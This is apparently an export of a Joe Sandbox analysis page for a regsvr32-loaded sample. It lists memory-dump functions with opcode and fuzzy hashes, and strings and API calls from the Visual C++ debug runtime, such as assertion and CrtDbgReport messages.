Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b2812e5277d79cf71890da185327c00cb0182960b11156e794a9778dcccdd1
Instruction ID: 96a2ca05932f578597b6f31f20a9b51789f655d9034ffcd243468df0dde1503e
Opcode Fuzzy Hash: 62b2812e5277d79cf71890da185327c00cb0182960b11156e794a9778dcccdd1
Instruction Fuzzy Hash: 8B6108B050424D8FCB99CF28C48A6DA7FE0FB58348F61422DF84AA6250D778D694CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180027C28 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7e039c7e162bbace75073517b23d1c0edb14752be4eceffb74d3575dc747b7
Instruction ID: e11998f87687b7015f7b025411e2dba788bee123d684f62271b2fcc2a6602c8d
Opcode Fuzzy Hash: 0a7e039c7e162bbace75073517b23d1c0edb14752be4eceffb74d3575dc747b7
Instruction Fuzzy Hash: 74516C3011C7889FD7A9DF28C48A7ABBBF2FB88354F405A1DE4CA83251D775A5468B43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001BF70 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b3c9751f9c0622dad5cee6893bdb18b89ef97b8e375e51f8b49718ad0ca1ed
Instruction ID: 3c9e139cfc3177b9e6430d12f2245ff46c98974f9447e7844960b67abc7cc201
Opcode Fuzzy Hash: 37b3c9751f9c0622dad5cee6893bdb18b89ef97b8e375e51f8b49718ad0ca1ed
Instruction Fuzzy Hash: 2C416E705197449FD7D5CF28C489B5EBBE0FB88744F80A92DF485C2291CB74C9498B03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021754 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d93e85a75c27503c9e550547e6f4dbe74bfd5b550d549da600d4a1fb4778da09
Instruction ID: 8d3aa2995036c6943faeb837d6d259061f9fd1ebb01e44e177952bfba46c1523
Opcode Fuzzy Hash: d93e85a75c27503c9e550547e6f4dbe74bfd5b550d549da600d4a1fb4778da09
Instruction Fuzzy Hash: BC51B5B190038E9FCB48CF68D8865DE7BF0FB48358F508A19F826A7250D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023220 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a73fccebe1b17c37a08eaad88bc03e676d8e4e44166d1bd6bc2a62feffe697
Instruction ID: 3bfbec68728c413781f4eceae801228648357d86044db0a2bb780f5116396d21
Opcode Fuzzy Hash: c2a73fccebe1b17c37a08eaad88bc03e676d8e4e44166d1bd6bc2a62feffe697
Instruction Fuzzy Hash: 4951B5B190074E8FCB48DFA8D88A5DE7BB1FB48348F04861DE826A7350D3B49564CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014E98 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4330d8994c454f3a4ce2cb979804135e217ee49caa662d464dea2a0ef5ce2a30
Instruction ID: 53b90e1c5486c9cc5d3a4e2843fa79abd377b3644fddba8a35b35de5b3b72a9d
Opcode Fuzzy Hash: 4330d8994c454f3a4ce2cb979804135e217ee49caa662d464dea2a0ef5ce2a30
Instruction Fuzzy Hash: AA51A4B590038E8FCF48DF64C88A5DE7BB1FB48348F014A19E86AA6350D7B4D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003D18 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6e19dd2ecc4b4f98e7bd80107de5ee987440c0ef4aaf5382ea96953c73351d3
Instruction ID: e1ff16132d2196f3f75472eef2dbafaed56c0de40c9f91af0ed0f4743424dce2
Opcode Fuzzy Hash: f6e19dd2ecc4b4f98e7bd80107de5ee987440c0ef4aaf5382ea96953c73351d3
Instruction Fuzzy Hash: 7241E3B190034A8FCB48CF68C8865DE7FB1FB58358F10861DE85AAA360D77496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018FE8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00ebc5b3581f268e1dca31b076cde8af601d69c20f797ec800b8524e8aca152a
Instruction ID: 71fd5f9204d30feec7a15df1bf9f79d56724cbe4fb23e8fa5a2523106a8ad13f
Opcode Fuzzy Hash: 00ebc5b3581f268e1dca31b076cde8af601d69c20f797ec800b8524e8aca152a
Instruction Fuzzy Hash: 2C51B2B080034E9FCB48CFA8D48A4DEBFF0FB58398F245619E859A6250D3749695CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800011F4 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f4f6e8d1d7fb1cefad6bab8572f86962bf991beacb3f1c3af335354cec980e2
Instruction ID: 13dd754d1e7aaa458ccf3f25f1a53950ed55eb7a2af7c94b5f3f3eca6f4c7b71
Opcode Fuzzy Hash: 1f4f6e8d1d7fb1cefad6bab8572f86962bf991beacb3f1c3af335354cec980e2
Instruction Fuzzy Hash: 4141B3B090434E8FCB48DF68C48A4CE7FB0FB58398F204619E856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003460 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b99b47e9b962ad4e889b98a468eb4c97838fe937d78fd3ed328a07435872d91a
Instruction ID: 25ea7a1fae7cee08e525b2e53d13b9e761fafe3c3046f9c16da3d4363f6b727f
Opcode Fuzzy Hash: b99b47e9b962ad4e889b98a468eb4c97838fe937d78fd3ed328a07435872d91a
Instruction Fuzzy Hash: 7641F0B090078E8BCF48CF68C88A4DE7FB0FB48358F54461DE86AA6350D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000406C Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83981cbbf60b78e7deea3e04e91402b42a32efa8c5dfd88cb8f56556e6fb0c3c
Instruction ID: 2f3c92175ef08bfcd336efc03048a581a759bd19a61f5d08681f8b59d2b4a65d
Opcode Fuzzy Hash: 83981cbbf60b78e7deea3e04e91402b42a32efa8c5dfd88cb8f56556e6fb0c3c
Instruction Fuzzy Hash: CA41EF70508B898FE3A8DF29C48950BBBF2FBC5354F104A1DF69686360D7B5D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019788 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94030778b375274538e88af110c4c71a5f626c7493089532c44927a023a09910
Instruction ID: 881360cf52284626b478287e7223753f8540b5b8a242225130398fb52c45b4e6
Opcode Fuzzy Hash: 94030778b375274538e88af110c4c71a5f626c7493089532c44927a023a09910
Instruction Fuzzy Hash: 9141B1B090034E8FCF48CF68C48A5DEBFB0FB68398F214619E855A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B6D4 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93974b6d4f6273d20610df347467165d2a5c3046e1daec97411395bd01693f1f
Instruction ID: 9c4ff176952ec0d3a7c23327861baecbe751e07bc56d6e6d0065064954d6898b
Opcode Fuzzy Hash: 93974b6d4f6273d20610df347467165d2a5c3046e1daec97411395bd01693f1f
Instruction Fuzzy Hash: D93113B0508B84CBD7B4DF24C08979ABBE0FBC4758F608A1CE5D9C6261DBB4984DDB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012EF8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 613fb402d6b778ceaf7e513f493c666c428009a0501ff02ca6debf04feb91865
Instruction ID: 2086fc6cf530452ca317dde1c3f5989bf97dc2ab51b7d711b1b7619edf53518f
Opcode Fuzzy Hash: 613fb402d6b778ceaf7e513f493c666c428009a0501ff02ca6debf04feb91865
Instruction Fuzzy Hash: 9A4107B090034D9FCF48DF68C89A5DEBFB1FB48358F10865DE96AA6250D3B49664CF84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E7A0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a391d5f1ee034caf47bfedc7cfbee3ee0130da0d99d6425c5f03999ced993457
Instruction ID: 1338ccaed59e81eda3dfb0132a5285c9e75a0d4e8ad1c64b0ac71650cc1258ea
Opcode Fuzzy Hash: a391d5f1ee034caf47bfedc7cfbee3ee0130da0d99d6425c5f03999ced993457
Instruction Fuzzy Hash: 5541E4B190075ECFCF44CFA8D88A4CE7BF0FB08358F144619E869A6210D3B49658CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010C84 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd33be4bf54c8c25dddb299aef1f30db163f836ea6c92e4bd2e4a70074cec26c
Instruction ID: 90c54515c462ca516bd1a7834683e0366852147f904ce70d700c1fd94530822e
Opcode Fuzzy Hash: fd33be4bf54c8c25dddb299aef1f30db163f836ea6c92e4bd2e4a70074cec26c
Instruction Fuzzy Hash: D33198B16187848BD788DF28D44941ABBE1FBDC30CF405B1DF4CAAA360D7789644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800247FC Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dc2512c0ff6dc22a4fb7ff1d0ea1563faee4dc38c2ddbd287c0bb24e1b40528
Instruction ID: 9655ad274102c7f9d75b202b541ab5cd2305fe15ce58f1dcda736dbe1a9cecaf
Opcode Fuzzy Hash: 4dc2512c0ff6dc22a4fb7ff1d0ea1563faee4dc38c2ddbd287c0bb24e1b40528
Instruction Fuzzy Hash: 3B2146B46183858B8389DF28D04A41ABBE1FBCC308F905B1DF4CAAB254D77896558B4B

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000EAC0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 443cbba6f5f89cfce6496fb7e303af42859a42b87001d497a7063cf79c72ec44
Instruction ID: 28a8b9ee08791f4b35668e747dad36529c2fac2b53c208ad34d18e94405bcf7a
Opcode Fuzzy Hash: 443cbba6f5f89cfce6496fb7e303af42859a42b87001d497a7063cf79c72ec44
Instruction Fuzzy Hash: 8E21D870529784ABC788DF18C58A55ABBF0FBC5758F80691DF8C686251C7B4D906CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001479C Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24567682a71932b9bd3cac4b142caf72f763870487d30b345218c61caa1d775
Instruction ID: 3473a0eaf58d43c1d16632198f29a9e85fcf3b0d6ee31105f780c840bc6bd29d
Opcode Fuzzy Hash: b24567682a71932b9bd3cac4b142caf72f763870487d30b345218c61caa1d775
Instruction Fuzzy Hash: 0E2148741087848FC398EF28C08A41BBBE0BB9C35CF400B1DF4CAA7265D7B8D6558B0A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F7F1 Relevance: 79.1, APIs: 23, Strings: 22, Instructions: 376COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D2F828
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F855
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F861
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F89B
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8A8
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8B6
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8C3
_wcsftime_l.LIBCMTD ref: 000007FEF9D2F939
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2F991
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F9EF
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FA6B
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FAB2
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB1F
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB65
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FC34
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FC92
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FD69
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FDB6
_unlock.LIBCMTD ref: 000007FEF9D2FEFE

Strings

strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 000007FEF9D2FA62
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D2F84C, 000007FEF9D30084
Second Chance Assertion Failed: File , xrefs: 000007FEF9D2F85A
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D2FDAD
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D2FD78
_VCrtDbgReportA, xrefs: 000007FEF9D2F845, 000007FEF9D2F971, 000007FEF9D2F9DF, 000007FEF9D2FA5B, 000007FEF9D2FAA2, 000007FEF9D2FB0F, 000007FEF9D2FB55, 000007FEF9D2FC14, 000007FEF9D2FC82, 000007FEF9D2FD44, 000007FEF9D2FDA6, 000007FEF9D3007D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D2F83E, 000007FEF9D2F965, 000007FEF9D2F9D8, 000007FEF9D2FA54, 000007FEF9D2FA9B, 000007FEF9D2FB08, 000007FEF9D2FB4E, 000007FEF9D2FC08, 000007FEF9D2FC7B, 000007FEF9D2FD38, 000007FEF9D2FD9F, 000007FEF9D30076
%s(%d) : %s, xrefs: 000007FEF9D2FBC2
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2F9E6
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2FC89
strcat_s(szLineMessage, 4096, "\n"), xrefs: 000007FEF9D2FB5C
Pl, xrefs: 000007FEF9D2FD1B
Assertion failed: , xrefs: 000007FEF9D2FA09
Assertion failed!, xrefs: 000007FEF9D2FA1A
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D2FAA9
<file unknown>, xrefs: 000007FEF9D2F884
, Line , xrefs: 000007FEF9D2F8A1
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D2FD50
6o, xrefs: 000007FEF9D2FA85
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2F9AE, 000007FEF9D2FC51
strcat_s(szLineMessage, 4096, "\r"), xrefs: 000007FEF9D2FB16
(*_errno()), xrefs: 000007FEF9D2F97D, 000007FEF9D2FC20

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")$6o$Pl
API String ID: 242677333-579931786
Opcode ID: a63f40807382e4d475d486b4876b23bc4dd58b7e370bc0180856c528c8acbbda
Instruction ID: e2526957761dd222599413fd0adc35655d47e080d41718875d9293ce759d4dec
Opcode Fuzzy Hash: a63f40807382e4d475d486b4876b23bc4dd58b7e370bc0180856c528c8acbbda
Instruction Fuzzy Hash: FC32E83290CA8695E7B0CB18EC543EE73A0F784345FA04126D6CD47AA9DB7EE549CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B470 Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 260COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000007FEF9D2B4E8
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B533
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B5ED

Strings

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B9E8
File: , xrefs: 000007FEF9D2B79B
wcscpy_s(szExeName, 260, L"<program name unknown>"), xrefs: 000007FEF9D2B52A
Expression: , xrefs: 000007FEF9D2B6BE
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B921
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B51C, 000007FEF9D2B5D6, 000007FEF9D2B967, 000007FEF9D2B9DA
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B9B0
Module: , xrefs: 000007FEF9D2B84A
<program name unknown>, xrefs: 000007FEF9D2B4F2
__crtMessageWindowW, xrefs: 000007FEF9D2B523, 000007FEF9D2B5DD, 000007FEF9D2B973, 000007FEF9D2B9E1
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B9FC
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2B655
..., xrefs: 000007FEF9D2B81F
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2B5E4
Line: , xrefs: 000007FEF9D2B744
(*_errno()), xrefs: 000007FEF9D2B97F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$FileModuleName
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowW$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$wcscpy_s(szExeName, 260, L"<program name unknown>")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
API String ID: 1949418964-1840610800
Opcode ID: b12b1314681225994c561f9efc1de4d9c7126b4e593a535ef46bdf2ab838bdf2
Instruction ID: 897ec7a8548006b51d3f4e24293aa6cb0eb1e7b087e1f77fa43b78bf07c27b58
Opcode Fuzzy Hash: b12b1314681225994c561f9efc1de4d9c7126b4e593a535ef46bdf2ab838bdf2
Instruction Fuzzy Hash: 32F1F636609BC294EAB4CB54E8483AEB3E4F384780F604125DACD43BB9DB7ED185CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2AE40 Relevance: 38.7, APIs: 5, Strings: 17, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AE81
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AF35

Strings

For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2AF9D
File: , xrefs: 000007FEF9D2B0E3
Line: , xrefs: 000007FEF9D2B08C
..., xrefs: 000007FEF9D2B167
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2AE6A, 000007FEF9D2AF1E, 000007FEF9D2B2AF, 000007FEF9D2B322
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
Module: , xrefs: 000007FEF9D2B192
<program name unknown>, xrefs: 000007FEF9D2AE40
Expression: , xrefs: 000007FEF9D2B006
strcpy_s(szExeName, 260, "<program name unknown>"), xrefs: 000007FEF9D2AE78
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2AF2C
__crtMessageWindowA, xrefs: 000007FEF9D2AE71, 000007FEF9D2AF25, 000007FEF9D2B2BB, 000007FEF9D2B329
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
m*, xrefs: 000007FEF9D2AE9E
(*_errno()), xrefs: 000007FEF9D2B2C7

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$_invalid_parameter
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$strcpy_s(szExeName, 260, "<program name unknown>")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$m*
API String ID: 2356156361-2279852085
Opcode ID: 6f4650fd4357eea9b956771a13d9b8a3362ab7c768ecc2367610c4505c6cb5c5
Instruction ID: d03840f3f998d79993f45302fffdb67e29e7bb822786765b29bb528846abb06c
Opcode Fuzzy Hash: 6f4650fd4357eea9b956771a13d9b8a3362ab7c768ecc2367610c4505c6cb5c5
Instruction Fuzzy Hash: 9DC1E87250DBC681E7B48B15E8403EEA3E1F389784F614126E6CD42BA9DB7ED155CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CB4F Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 174fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000007FEF9D2CBF0
